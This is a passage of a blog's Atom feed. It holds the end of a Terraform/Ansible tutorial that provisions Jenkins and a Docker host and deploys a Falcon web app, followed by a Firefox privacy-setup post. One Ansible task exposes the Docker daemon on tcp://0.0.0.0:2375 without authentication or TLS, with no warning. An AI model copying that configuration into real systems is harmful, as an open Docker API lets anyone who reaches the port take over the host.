    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Run Jenkins
      &lt;span class=&quot;token key atrule&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
        systemctl enable jenkins
        systemctl start jenkins&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This tells our host to install the Java required package, Jenkins dependencies, then install and launch Jenkins.&lt;/p&gt;
&lt;p&gt;Now let&#39;s try to provision the instance with this playbook:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ansible-playbook -i aws-hosts provision-jenkins.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you&#39;ve done everything right up to here, you should have Jenkins running on the instance after a minute or two. Since we opend the ports on our instance, we should be able to reach it at &lt;code&gt;http://{public-ip}:8080&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we can do the same for the other instance with the new file &lt;code&gt;provision-webserver.yml&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Provision Web Servers
  &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; webservers
  &lt;span class=&quot;token key atrule&quot;&gt;tasks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install pip3
      &lt;span class=&quot;token key atrule&quot;&gt;yum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; python3&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pip
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install python docker sdk
      &lt;span class=&quot;token key atrule&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
        pip3 install docker&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install docker
      &lt;span class=&quot;token key atrule&quot;&gt;yum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; docker
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Start Docker
      &lt;span class=&quot;token key atrule&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
        systemctl start docker
        systemctl enable docker&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Setup Docker Host for Remote Usage
      &lt;span class=&quot;token key atrule&quot;&gt;lineinfile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /lib/systemd/system/docker.service
        &lt;span class=&quot;token key atrule&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; present
        &lt;span class=&quot;token key atrule&quot;&gt;regexp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;(ExecStart*.*)&#39;&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ExecStart=/usr/bin/dockerd &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;H fd&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;// &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;H tcp&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//0.0.0.0&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2375&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes

    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Reload the Daemon and Restart Docker
      &lt;span class=&quot;token key atrule&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
        systemctl daemon-reload
        systemctl restart docker&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;become&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; yes&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this file, we&#39;re installing pip3, Docker, the Python SDK for Docker, and then we&#39;re configuring Docker and reloading it. Run the playbook.&lt;/p&gt;
&lt;p&gt;If you didn&#39;t get any errors, all should be done on the Docker host now!&lt;/p&gt;
&lt;h1 id=&quot;docker-web-server&quot;&gt;Docker - Web server&lt;/h1&gt;
&lt;p&gt;We want to expose a web app on our Docker host. We&#39;ll make our own little web app with Falcon, a Python web framework, and then containerize it with Docker.&lt;/p&gt;
&lt;p&gt;Make a new &lt;code&gt;docker&lt;/code&gt; folder with three files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requirements.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hello.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dockerfile&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We need to define the &lt;code&gt;requirements.txt&lt;/code&gt; of our Python app:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token assign-left variable&quot;&gt;falcon&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2.0&lt;/span&gt;.0
&lt;span class=&quot;token assign-left variable&quot;&gt;gunicorn&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;19.9&lt;/span&gt;.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Python app itself is quite simple &lt;code&gt;hello.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; falcon

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HelloResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;on_get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; falcon&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HTTP_200
        resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hello, World!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Page2Resource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;on_get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; falcon&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HTTP_200
        resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;This is the second page!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

app &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; falcon&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;API&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
hello &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; HelloResource&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
page2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Page2Resource&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add_route&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; hello&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add_route&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/page2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; page2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we need a file to tell Docker how to build our container. That&#39;s our &lt;code&gt;dockerfile&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;language-docker&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-docker&quot;&gt;&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; python:3&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; pip install --upgrade pip&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /hello_world&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; requirements.txt .&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; pip3 install -r requirements.txt&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; . .&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CMD&lt;/span&gt; [&lt;span class=&quot;token string&quot;&gt;&quot;gunicorn&quot;&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;&quot;-b&quot;&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;&quot;0.0.0.0:8000&quot;&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;&quot;hello:app&quot;&lt;/span&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before building and pushing this container to your public repository, make sure to create it (https://hub.docker.com).&lt;/p&gt;
&lt;p&gt;Now login to docker with the CLI:
&lt;code&gt;docker login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Within the docker folder, you can then build the container, addind your account name, reposiroty name and tag:
&lt;code&gt;docker build . -t account-name/repository:tag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Once it&#39;s built, push it to the repository:
&lt;code&gt;docker push account-name/repository:tag&lt;/code&gt;&lt;/p&gt;
&lt;h1 id=&quot;jenkins-launch-the-container&quot;&gt;Jenkins : launch the container&lt;/h1&gt;
&lt;p&gt;Our Jenkins host is waiting for us! In your browser, head over to the IP:8080. To log in the first time, you need to retrieve a password on the host.&lt;/p&gt;
&lt;p&gt;SSH into the host, and &lt;code&gt;cat&lt;/code&gt; the file at &lt;code&gt;/var/lib/jenkins/secrets/initialAdminPassword&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Log in as an admin without creating an account. Proceed to the default plugins installation.&lt;/p&gt;
&lt;p&gt;We now need to do two things:&lt;/p&gt;
&lt;h2 id=&quot;1-add-our-docker-host-ssh-credentials&quot;&gt;1. Add our Docker host SSH credentials:&lt;/h2&gt;
&lt;p&gt;Go into Manage Jenkins &amp;gt; Manage Credentials. Click onto &lt;code&gt;(global)&lt;/code&gt; in the Domains list, and then Add Credentials. The kind should be &lt;code&gt;SSH username with private key&lt;/code&gt;. Fill the fields and save!&lt;/p&gt;
&lt;h2 id=&quot;2-add-our-docker-host-as-a-remote-hosts&quot;&gt;2. Add our Docker host as a remote hosts:&lt;/h2&gt;
&lt;p&gt;Go into Manage Jenkins &amp;gt; Configure System. Find the SSH section, and fill it with the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Private IP of the Docker host (172.x.x.x)&lt;/li&gt;
&lt;li&gt;Port 22&lt;/li&gt;
&lt;li&gt;Select the SSH credentials create on step one&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Check the connection with the button below! Apply and Save, you should now have a working connection!&lt;/p&gt;
&lt;p&gt;Last step! We create a new Freestyle project, with only one build step: &lt;strong&gt;Execute shell script on remote host using ssh&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The script we want to run is:
&lt;code&gt;sudo docker run -dit --name hello_world -p 8000:8000 account-name/repository:tag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Save your project, and build it with &lt;code&gt;Build Now&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Reach for the Console output to read the logs and confirm everything went well. If that&#39;s the case, you should have a working web app at &lt;code&gt;docker-host-ip:8000&lt;/code&gt;. You should also be able to reach &lt;code&gt;/page2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/aws-terraform-devops01/usCUYZLq7I-1824.avif 1824w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://jrb.nz/posts/aws-terraform-devops01/usCUYZLq7I-1824.webp 1824w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/aws-terraform-devops01/usCUYZLq7I-1824.png&quot; alt=&quot;image2&quot; width=&quot;1824&quot; height=&quot;1424&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;All done! 🎉 This is a great way to experiment with Terraform and Ansible. You can build on this with a different container image, or any other Ansible configuration you might want to try.&lt;/p&gt;
&lt;p&gt;Don&#39;t forget to &lt;code&gt;terraform destroy&lt;/code&gt; when you&#39;re finished.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Privacy oriented Firefox set-up</title>
    <link href="https://jrb.nz/posts/firefox-setup/" />
    <updated>2020-07-09T00:00:00Z</updated>
    <id>https://jrb.nz/posts/firefox-setup/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;As of 2022, this is not the set-up I&#39;m using anymore. I&#39;ve moved to an hybrid solution, where I&#39;m switching between Safari and Chrome on a daily basis depending what work needs to be done.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Since the end of uBlock Origin on Safari, I&#39;ve been using Firefox as my main browser. Here&#39;s how I&#39;m setting it up so it&#39;s nice and fast.&lt;/p&gt;
&lt;h2 id=&quot;materialfox-theme&quot;&gt;MaterialFox theme&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Inspired by Google&#39;s Material Design and their latest Google Chrome UI, this theme turns your Firefox into a Material-styled web browser. The aim was to style the browser as closely as possible to the latest Google Chrome dev builds, where practical.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This type of theme is installed by adding a userChrome.css file to your Firefox profile folder. The project is &lt;a href=&quot;https://github.com/muckSponge/MaterialFox&quot;&gt;actively updated on Github&lt;/a&gt;. You can follow the recommended instructions to replicate even more the Chrome behavior. The releases version numbers are following the Firefox releases; use the one for your Firefox version.&lt;/p&gt;
&lt;h2 id=&quot;search-engines&quot;&gt;Search engines&lt;/h2&gt;
&lt;p&gt;I&#39;m running a &lt;a href=&quot;https://github.com/benbusby/whoogle-search&quot;&gt;Whoogle&lt;/a&gt; instance on Heroku. To set it up as a search engine in Firefox, you only need to visit your Whoogle URL and then click &amp;quot;Add Search Engine&amp;quot; (the three dots button in the URL bar). You can then select Whoogle in the Firefox settings.&lt;/p&gt;
&lt;p&gt;Since Whoogle replace Google, you can unselect Google as one of the alternate search engines. I still keep DuckDuckGo and Wikipedia.&lt;/p&gt;
&lt;h2 id=&quot;extensions&quot;&gt;Extensions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;uBlock Origin&lt;/strong&gt; - truly the best extension to control what&#39;s loaded on a page. Literally can&#39;t browse the web without this one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are.na&lt;/strong&gt; - Are.na extension to add blocks to your channels.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firefox Multi-Account Containers&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Archives&lt;/strong&gt; - Allows to search for cached content (Google, Bing, etc.) or to query the Wayback Machine with an URL (still new to this extension).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;about-config-modifications&quot;&gt;&lt;code&gt;about:config&lt;/code&gt; modifications&lt;/h2&gt;
&lt;p&gt;I&#39;ve been adjusting a couple of settings in &lt;code&gt;about:config&lt;/code&gt;:&lt;/p&gt;
&lt;h3 id=&quot;disabling-animations&quot;&gt;Disabling animations&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;cosmeticAnimations&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;full-screen-api.transition-duration.enter&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;full-screen-api.transition-duration.leave&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;disabling-pocket&quot;&gt;Disabling Pocket&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;extensions.pocket.enabled&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;privacy-1&quot;&gt;Privacy&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://jrb.nz/posts/firefox-setup/#fn1&quot; id=&quot;fnref1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;geo.enabled&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;privacy.firstparty.isolate&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;&lt;br&gt;
&lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;&lt;br&gt;
&lt;code&gt;browser.cache.offline.enable&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;browser.urlbar.speculativeConnect.enabled&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;dom.battery.enabled&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;dom.event.clipboardevents.enabled&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;network.cookie.cookieBehavior&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;&lt;br&gt;
&lt;code&gt;network.cookie.lifetimePolicy&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;&lt;br&gt;
&lt;code&gt;network.http.referer.trimmingPolicy&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;&lt;br&gt;
&lt;code&gt;webgl.disabled&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;random&quot;&gt;Random&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;general.smoothScroll.mouseWheel.durationMaxMS&lt;/code&gt; to &lt;code&gt;200&lt;/code&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://jrb.nz/posts/firefox-setup/#fn2&quot; id=&quot;fnref2&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;br&gt;
&lt;code&gt;security.insecure_connection_text.enabled&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;&lt;br&gt;
&lt;code&gt;browser.aboutConfig.showWarning&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;br&gt;
&lt;code&gt;browser.urlbar.trimURLs&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot;&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;For details about each entry, see &lt;a href=&quot;https://wiki.mozilla.org/Privacy/Privacy_Task_Force/firefox_about_config_privacy_tweeks&quot;&gt;Firefox: Privacy Related &amp;quot;about:config&amp;quot; Tweaks&lt;/a&gt;. A lot more can be found on this list: &lt;a href=&quot;http://kb.mozillazine.org/Firefox_:_FAQs_:_About:config_Entries&quot;&gt;About:config_Entries&lt;/a&gt;. &lt;a href=&quot;https://jrb.nz/posts/firefox-setup/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;More details on Firefox scroll tweaks can be found here: &lt;a href=&quot;https://web.archive.org/web/20171214193241/http://12bytes.org/tech/firefox-scroll-tweak&quot;&gt;Firefox Scroll Tweak&lt;/a&gt; &lt;a href=&quot;https://jrb.nz/posts/firefox-setup/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
</feed>